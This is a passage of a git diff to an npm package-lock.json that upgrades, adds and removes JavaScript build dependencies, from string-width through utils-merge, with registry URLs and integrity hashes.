"sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "5.1.1" + } + } + } + }, + "string-width": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", + "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", + "dev": true, + "requires": { + "is-fullwidth-code-point": "2.0.0", + "strip-ansi": "4.0.0" + }, + "dependencies": { + "ansi-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", + "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", + "dev": true + }, + "strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", + "dev": true, + "requires": { + "ansi-regex": "3.0.0" + } + } + } + }, + "string.prototype.matchall": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-2.0.0.tgz", + "integrity": "sha512-WoZ+B2ypng1dp4iFLF2kmZlwwlE19gmjgKuhL1FJfDgCREWb3ye3SDVHSzLH6bxfnvYmkCxbzkmWcQZHA4P//Q==", + "dev": true, + "requires": { + "define-properties": "1.1.3", + "es-abstract": "1.12.0", + "function-bind": "1.1.1", + "has-symbols": "1.0.0", + "regexp.prototype.flags": "1.2.0" } }, "string_decoder": { @@ -12661,10 +15297,10 @@ "ansi-regex": "2.1.1" } }, - "strip-bom": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz", - "integrity": "sha1-IzTBjpx1n3vdVv3vfprj1YjmjtM=", + "strip-eof": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/strip-eof/-/strip-eof-1.0.0.tgz", + "integrity": "sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=", "dev": true }, "strip-indent": { @@ -12683,12 +15319,13 @@ "dev": true }, "style-loader": { - "version": "0.13.2", - "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-0.13.2.tgz", - "integrity": "sha1-dFMzhM9pjHEEx5URULSXF63C87s=", + "version": "0.22.1", + "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-0.22.1.tgz", + "integrity": "sha512-WXUrLeinPIR1Oat3PfCDro7qTniwNTJqGqv1KcQiL3JR5PzrVLTyNsd9wTsPXG/qNCJ7lzR2NY/QDjFsP7nuSQ==", "dev": true, "requires": { - "loader-utils": "1.1.0" + "loader-utils": "1.1.0", + "schema-utils": "0.4.7" }, "dependencies": { "loader-utils": { @@ -12710,77 +15347,66 @@ "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=", "dev": true }, - "svgo": { - "version": "0.7.2", - "resolved": "https://registry.npmjs.org/svgo/-/svgo-0.7.2.tgz", - "integrity": "sha1-n1dyQTlSE1xv779Ar+ak+qiLS7U=", - "dev": true, - "requires": { - "coa": "1.0.4", - "colors": "1.1.2", - "csso": "2.3.2", - "js-yaml": "3.7.0", - "mkdirp": "0.5.1", - "sax": "1.2.4", - "whet.extend": "0.9.9" - } - }, "symbol-observable": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/symbol-observable/-/symbol-observable-1.0.4.tgz", - "integrity": "sha1-Kb9hXUqnEhvdiYsi1LP5vE4qoD0=" + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/symbol-observable/-/symbol-observable-1.2.0.tgz", + "integrity": "sha512-e900nM8RRtGhlV36KGEU9k65K3mPb1WV70OdjfxlG2EAuM1noi/E/BaW/uMhL7bPEssK8QV57vN3esixjUvcXQ==" }, "table": { - "version": "3.8.3", - "resolved": "https://registry.npmjs.org/table/-/table-3.8.3.tgz", - "integrity": "sha1-K7xULw/amGGnVdOUf+/Ys/UThV8=", + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/table/-/table-4.0.3.tgz", + "integrity": "sha512-S7rnFITmBH1EnyKcvxBh1LjYeQMmnZtCXSEbHcH6S0NoKit24ZuFO/T1vDcLdYsLQkM188PVVhQmzKIuThNkKg==", "dev": true, "requires": { - "ajv": "4.11.8", - "ajv-keywords": "1.5.1", - "chalk": "1.1.3", - "lodash": "4.17.4", - "slice-ansi": "0.0.4", + "ajv": "6.5.2", + "ajv-keywords": "3.2.0", + "chalk": "2.4.1", + "lodash": "4.17.10", + "slice-ansi": "1.0.0", "string-width": "2.1.1" }, "dependencies": { - "ansi-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", - "dev": true - }, - "is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "dev": true - }, - "string-width": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", - "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "is-fullwidth-code-point": "2.0.0", - "strip-ansi": "4.0.0" + "color-convert": "1.9.0" } }, - "strip-ansi": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", - "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", "dev": true, "requires": { - "ansi-regex": "3.0.0" + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.4.0" + } + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "3.0.0" } } } }, "tapable": { - "version": "0.1.10", - "resolved": "https://registry.npmjs.org/tapable/-/tapable-0.1.10.tgz", - "integrity": "sha1-KcNXB8K3DlDQdIK10gLo7URtr9Q=", + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.0.0.tgz", + "integrity": "sha512-dQRhbNQkRnaqauC7WqSJ21EEksgT0fYZX2lqXzGkpo8JNig9zGZTYoMGvyI2nWmXlE2VSVXVDu7wLVGu/mQEsg==", "dev": true }, "text-table": { @@ -12807,7 +15433,7 @@ "integrity": "sha1-AARWmzfHx0ujnEPzzteNGtlBQL4=", "dev": true, "requires": { - "readable-stream": "2.3.3", + "readable-stream": "2.3.6", "xtend": "4.0.1" }, "dependencies": { @@ -12817,25 +15443,31 @@ "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", "dev": true }, + "process-nextick-args": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", + "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "dev": true + }, "readable-stream": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.3.tgz", - "integrity": "sha512-m+qzzcn7KUxEmd1gMbchF+Y2eIUbieUaxkWtptyHywrX0rE8QEYqPC07Vuy4Wm32/xE16NcdBctb8S0Xe/5IeQ==", + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { "core-util-is": "1.0.2", "inherits": "2.0.3", "isarray": "1.0.0", - "process-nextick-args": "1.0.7", + "process-nextick-args": "2.0.0", "safe-buffer": "5.1.1", - "string_decoder": "1.0.3", + "string_decoder": "1.1.1", "util-deprecate": "1.0.2" } }, "string_decoder": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", - "integrity": "sha1-D8Z9fBQYJd6UKC3VNr7GubzoYKs=", + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { "safe-buffer": "5.1.1" @@ -12843,26 +15475,25 @@ } } }, - "time-stamp": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/time-stamp/-/time-stamp-2.0.0.tgz", - "integrity": "sha1-lcakRTDhW6jW9KPsuMOj+sRto1c=", + "thunky": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/thunky/-/thunky-1.0.2.tgz", + "integrity": "sha1-qGLgGOP7HqLsP85dVWBc9X8kc3E=", "dev": true }, "timers-browserify": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.3.tgz", - "integrity": "sha512-+JAqyNgg+M8+gXIrq2EeUr4kZqRz47Ysco7X5QKRGScRE9HIHckyHD1asozSFGeqx2nmPCgA8T5tIGVO0ML7/w==", + "version": "2.0.10", + "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.10.tgz", + "integrity": "sha512-YvC1SV1XdOUaL6gx5CoGroT3Gu49pK9+TZ38ErPldOWW4j49GI1HKs9DV+KGq/w6y+LZ72W1c8cKz2vzY+qpzg==", "dev": true, "requires": { - "global": "4.3.2", "setimmediate": "1.0.5" } }, "tmp": { - "version": "0.0.31", - "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.31.tgz", - "integrity": "sha1-jzirlDjhcxXl29izZX6L+yd65Kc=", + "version": "0.0.33", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz", + "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==", "dev": true, "requires": { "os-tmpdir": "1.0.2" @@ -12886,11 +15517,59 @@ "integrity": "sha1-uDVx+k2MJbguIxsG46MFXeTKGkc=", "dev": true }, + "to-object-path": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/to-object-path/-/to-object-path-0.3.0.tgz", + "integrity": "sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=", + "dev": true, + "requires": { + "kind-of": "3.2.2" + } + }, + "to-regex": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/to-regex/-/to-regex-3.0.2.tgz", + "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==", + "dev": true, + "requires": { + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "regex-not": "1.0.2", + "safe-regex": "1.1.0" + } + }, + "to-regex-range": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz", + "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=", + "dev": true, + "requires": { + "is-number": "3.0.0", + "repeat-string": "1.6.1" + }, + "dependencies": { + "is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "dev": true, + "requires": { + "kind-of": "3.2.2" + } + } + } + }, "toggle-selection": { "version": "1.0.6", "resolved": "https://registry.npmjs.org/toggle-selection/-/toggle-selection-1.0.6.tgz", "integrity": "sha1-bkWxJj8gF/oKzH2J14sVuL932jI=" }, + "toposort": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/toposort/-/toposort-1.0.7.tgz", + "integrity": "sha1-LmhELZ9k7HILjMieZEOsbKqVACk=", + "dev": true + }, "tough-cookie": { "version": "2.3.4", "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.3.4.tgz", @@ -12912,10 +15591,10 @@ "integrity": "sha1-yy4SAwZ+DI3h9hQJS5/kVwTqYAM=", "dev": true }, - "tryit": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/tryit/-/tryit-1.0.3.tgz", - "integrity": "sha1-OTvnMKlEb9Hq1tpZoBQwjzbCics=", + "tslib": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.9.3.tgz", + "integrity": "sha512-4krF8scpejhaOgqzBEcGM7yDIEfi0/8+8zDRZhNZZ2kjmHJ4hv3zCbQWxoJGz1iw5U0Jl0nma13xzHXcncMavQ==", "dev": true }, "tty-browserify": { @@ -12950,19 +15629,36 @@ } }, "type-detect": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-1.0.0.tgz", - "integrity": "sha1-diIXzAbbJY7EiQihKY6LlRIejqI=", + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz", + "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==", "dev": true }, "type-is": { - "version": "1.6.15", - "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.15.tgz", - "integrity": "sha1-yrEPtJCeRByChC6v4a1kbIGARBA=", + "version": "1.6.16", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.16.tgz", + "integrity": "sha512-HRkVv/5qY2G6I8iab9cI7v1bOIdhm94dVjQCPFElW9W+3GeDOSHmy2EBYe4VTApuzolPcmgFTN3ftVJRKR2J9Q==", "dev": true, "requires": { "media-typer": "0.3.0", - "mime-types": "2.1.16" + "mime-types": "2.1.19" + }, + "dependencies": { + "mime-db": { + "version": "1.35.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.35.0.tgz", + "integrity": "sha512-JWT/IcCTsB0Io3AhWUMjRqucrHSPsSf2xKLaRldJVULioggvkJvggZ3VXNNSRkCddE6D+BUI4HEIZIA2OjwIvg==", + "dev": true + }, + "mime-types": { + "version": "2.1.19", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.19.tgz", + "integrity": "sha512-P1tKYHVSZ6uFo26mtnve4HQFE3koh1UWVkp8YUC+ESBHe945xWSoXuHHiGarDqcEZ+whpCDnlNw5LON0kLo+sw==", + "dev": true, + "requires": { + "mime-db": "1.35.0" + } + } } }, "typedarray": { @@ -12972,9 +15668,9 @@ "dev": true }, "ua-parser-js": { - "version": "0.7.17", - "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.17.tgz", - "integrity": "sha512-uRdSdu1oA1rncCQL7sCj8vSyZkgtL7faaw9Tc9rZ3mGgraQ7+Pdx7w5mnOSF3gw9ZNG6oc+KXfkon3bKuROm0g==" + "version": "0.7.18", + "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.18.tgz", + "integrity": "sha512-LtzwHlVHwFGTptfNSgezHp7WUlwiqb0gA9AALRbKaERfxwJoiX0A73QbTToxteIAuIaFshhgIZfqK8s7clqgnA==" }, "uglify-js": { "version": "2.8.29", @@ -12992,12 +15688,53 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/uglify-to-browserify/-/uglify-to-browserify-1.0.2.tgz", "integrity": "sha1-bgkk1r2mta/jSeOabWMoUKD4grc=", - "dev": true + "dev": true, + "optional": true + }, + "uglifyjs-webpack-plugin": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/uglifyjs-webpack-plugin/-/uglifyjs-webpack-plugin-1.3.0.tgz", + "integrity": "sha512-ovHIch0AMlxjD/97j9AYovZxG5wnHOPkL7T1GKochBADp/Zwc44pEWNqpKl1Loupp1WhFg7SlYmHZRUfdAacgw==", + "dev": true, + "requires": { + "cacache": "10.0.4", + "find-cache-dir": "1.0.0", + "schema-utils": "0.4.7", + "serialize-javascript": "1.5.0", + "source-map": "0.6.1", + "uglify-es": "3.3.9", + "webpack-sources": "1.1.0", + "worker-farm": "1.6.0" + }, + "dependencies": { + "commander": { + "version": "2.13.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.13.0.tgz", + "integrity": "sha512-MVuS359B+YzaWqjCL/c+22gfryv+mCBPHAv3zyVI2GN8EY6IRP8VwtasXn8jyyhvvq84R4ImN1OKRtcbIasjYA==", + "dev": true + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "uglify-es": { + "version": "3.3.9", + "resolved": "https://registry.npmjs.org/uglify-es/-/uglify-es-3.3.9.tgz", + "integrity": "sha512-r+MU0rfv4L/0eeW3xZrd16t4NZfK8Ld4SWVglYBb7ez5uXFWHuVRs6xCTrf1yirs9a4j4Y27nn7SRfO6v67XsQ==", + "dev": true, + "requires": { + "commander": "2.13.0", + "source-map": "0.6.1" + } + } + } }, "ultron": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/ultron/-/ultron-1.0.2.tgz", - "integrity": "sha1-rOEWq1V80Zc4ak6I9GhTeMiy5Po=", + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ultron/-/ultron-1.1.1.tgz", + "integrity": "sha512-UIEXBNeYmKptWH6z8ZnqTeS8fV74zG0/eRU9VGkpzz+LIJNs8W/zM/L+7ctCkRrgbNnnR0xxw4bKOr0cW0N0Og==", "dev": true }, "uncontrollable": { @@ -13008,26 +15745,58 @@ "invariant": "2.2.2" } }, - "uniq": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/uniq/-/uniq-1.0.1.tgz", - "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8=", - "dev": true - }, - "uniqid": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/uniqid/-/uniqid-4.1.1.tgz", - "integrity": "sha1-iSIN32t1GuUrX3JISGNShZa7hME=", + "union-value": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.0.tgz", + "integrity": "sha1-XHHDTLW61dzr4+oM0IIHulqhrqQ=", "dev": true, "requires": { - "macaddress": "0.2.8" + "arr-union": "3.1.0", + "get-value": "2.0.6", + "is-extendable": "0.1.1", + "set-value": "0.4.3" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + }, + "set-value": { + "version": "0.4.3", + "resolved": "https://registry.npmjs.org/set-value/-/set-value-0.4.3.tgz", + "integrity": "sha1-fbCPnT0i3H945Trzw79GZuzfzPE=", + "dev": true, + "requires": { + "extend-shallow": "2.0.1", + "is-extendable": "0.1.1", + "is-plain-object": "2.0.4", + "to-object-path": "0.3.0" + } + } } }, - "uniqs": { + "unique-filename": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.0.tgz", + "integrity": "sha1-0F8v5AMlYIcfMOk8vnNe6iAVFPM=", + "dev": true, + "requires": { + "unique-slug": "2.0.0" + } + }, + "unique-slug": { "version": "2.0.0", - "resolved": "https://registry.npmjs.org/uniqs/-/uniqs-2.0.0.tgz", - "integrity": "sha1-/+3ks2slKQaW5uFl1KWe25mOawI=", - "dev": true + "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.0.tgz", + "integrity": "sha1-22Z258fMBimHj/GWCXx4hVrp9Ks=", + "dev": true, + "requires": { + "imurmurhash": "0.1.4" + } }, "unpipe": { "version": "1.0.0", @@ -13035,6 +15804,93 @@ "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=", "dev": true }, + "unset-value": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unset-value/-/unset-value-1.0.0.tgz", + "integrity": "sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=", + "dev": true, + "requires": { + "has-value": "0.3.1", + "isobject": "3.0.1" + }, + "dependencies": { + "has-value": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/has-value/-/has-value-0.3.1.tgz", + "integrity": "sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=", + "dev": true, + "requires": { + "get-value": "2.0.6", + "has-values": "0.1.4", + "isobject": "2.1.0" + }, + "dependencies": { + "isobject": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz", + "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=", + "dev": true, + "requires": { + "isarray": "1.0.0" + } + } + } + }, + "has-values": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/has-values/-/has-values-0.1.4.tgz", + "integrity": "sha1-bWHeldkd/Km5oCCJrThL/49it3E=", + "dev": true + }, + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true + } + } + }, + "upath": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/upath/-/upath-1.1.0.tgz", + "integrity": "sha512-bzpH/oBhoS/QI/YtbkqCg6VEiPYjSZtrHQM6/QnJS6OL9pKUFLqb3aFh4Scvwm45+7iAgiMkLhSbaZxUqmrprw==", + "dev": true + }, + "upper-case": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/upper-case/-/upper-case-1.1.3.tgz", + "integrity": "sha1-9rRQHC7EzdJrp4vnIilh3ndiFZg=", + "dev": true + }, + "uri-js": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.2.2.tgz", + "integrity": "sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==", + "dev": true, + "requires": { + "punycode": "2.1.1" + }, + "dependencies": { + "punycode": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", + "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==", + "dev": true + } + } + }, + "urix": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz", + "integrity": "sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI=", + "dev": true + }, "url": { "version": "0.11.0", "resolved": "https://registry.npmjs.org/url/-/url-0.11.0.tgz", @@ -13053,14 +15909,21 @@ } } }, + "url-join": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/url-join/-/url-join-2.0.5.tgz", + "integrity": "sha1-WvIvGMBSoACkjXuCxenC4v7tpyg=", + "dev": true + }, "url-loader": { - "version": "0.5.9", - "resolved": "https://registry.npmjs.org/url-loader/-/url-loader-0.5.9.tgz", - "integrity": "sha512-B7QYFyvv+fOBqBVeefsxv6koWWtjmHaMFT6KZWti4KRw8YUD/hOU+3AECvXuzyVawIBx3z7zQRejXCDSO5kk1Q==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/url-loader/-/url-loader-1.1.0.tgz", + "integrity": "sha512-p/+44Z+yHoQVV6VKsgZuHi7UfvaKhJqucXvKQtsVQYyzaSC8KVdoXjIM5TToZxarq9WB+qIhMVTZr1v7bENKdg==", "dev": true, "requires": { "loader-utils": "1.1.0", - "mime": "1.3.6" + "mime": "2.3.1", + "schema-utils": "1.0.0" }, "dependencies": { "loader-utils": { @@ -13073,35 +15936,35 @@ "emojis-list": "2.1.0", "json5": "0.5.1" } + }, + "schema-utils": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", + "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", + "dev": true, + "requires": { + "ajv": "6.5.2", + "ajv-errors": "1.0.0", + "ajv-keywords": "3.2.0" + } } } }, "url-parse": { - "version": "1.1.9", - "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.1.9.tgz", - "integrity": "sha1-xn8dd11R8KGJEd17P/rSe7nlvRk=", + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.4.3.tgz", + "integrity": "sha512-rh+KuAW36YKo0vClhQzLLveoj8FwPJNu65xLb7Mrt+eZht0IPT0IXgSv8gcMegZ6NvjJUALf6Mf25POlMwD1Fw==", "dev": true, "requires": { - "querystringify": "1.0.0", + "querystringify": "2.0.0", "requires-port": "1.0.0" - }, - "dependencies": { - "querystringify": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-1.0.0.tgz", - "integrity": "sha1-YoYkIRLFtxL6ZU5SZlK/ahP/Bcs=", - "dev": true - } } }, - "user-home": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/user-home/-/user-home-2.0.0.tgz", - "integrity": "sha1-nHC/2Babwdy/SGBODwS4tJzenp8=", - "dev": true, - "requires": { - "os-homedir": "1.0.2" - } + "use": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz", + "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==", + "dev": true }, "useragent": { "version": "2.2.1", @@ -13110,24 +15973,24 @@ "dev": true, "requires": { "lru-cache": "2.2.4", - "tmp": "0.0.31" + "tmp": "0.0.33" + }, + "dependencies": { + "lru-cache": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-2.2.4.tgz", + "integrity": "sha1-bGWGGb7PFAMdDQtZSxYELOTcBj0=", + "dev": true + } } }, "util": { - "version": "0.10.3", - "resolved": "https://registry.npmjs.org/util/-/util-0.10.3.tgz", - "integrity": "sha1-evsa/lCAUkZInj23/g7TeTNqwPk=", + "version": "0.10.4", + "resolved": "https://registry.npmjs.org/util/-/util-0.10.4.tgz", + "integrity": "sha512-0Pm9hTQ3se5ll1XihRic3FDIku70C+iHUdT/W926rSgHV5QgXsYbKZN8MSC3tJtSkhuROzvsQjAaFENRXr+19A==", "dev": true, "requires": { - "inherits": "2.0.1" - }, - "dependencies": { - "inherits": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.1.tgz", - "integrity": "sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE=", - "dev": true - } + "inherits": "2.0.3" } }, "util-deprecate": { @@ -13136,10 +15999,26 @@ "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", "dev": true }, - "utils-merge": { + "util.promisify": { "version": "1.0.0", - "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.0.tgz", - "integrity": "sha1-ApT7kiu5N1FTVBxPcJYjHyh8ivg=", + "resolved": "https://registry.npmjs.org/util.promisify/-/util.promisify-1.0.0.tgz", + "integrity": "sha512-i+6qA2MPhvoKLuxnJNpXAGhg7HphQOSUq2LKMZD0m15EiskXUkMvKdF4Uui0WYeCUGea+o2cw/ZuwehtfsrNkA==", + "dev": true, + "requires": { + "define-properties": "1.1.3", + "object.getownpropertydescriptors": "2.0.3" + } + }, + "utila": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/utila/-/utila-0.4.0.tgz", + "integrity": "sha1-ihagXURWV6Oupe7MWxKk+lN5dyw=", + "dev": true + }, + "utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": 